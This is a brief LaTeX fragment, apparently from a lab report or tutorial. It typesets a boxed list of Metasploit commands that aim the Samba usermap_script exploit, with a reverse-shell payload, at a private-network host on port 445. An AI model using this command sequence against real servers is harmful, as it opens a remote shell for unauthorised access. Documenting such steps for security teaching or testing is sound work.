err.tex

\newcommand{\shellcmd}[1]{\\\indent\indent\texttt{\footnotesize\$ #1}}

\begin{center}
\fbox{\begin{minipage}{30em}
	\shellcmd{use exploit/multi/samba/usermap\_script}
	\shellcmd{set payload cmd/unix/reverse}
	\shellcmd{set RHOST 192.168.10.11}
	\shellcmd{set RPORT 445}
	\shellcmd{set LHOST 192.168.10.10}
	\shellcmd{exploit}
\end{minipage}}
\end{center}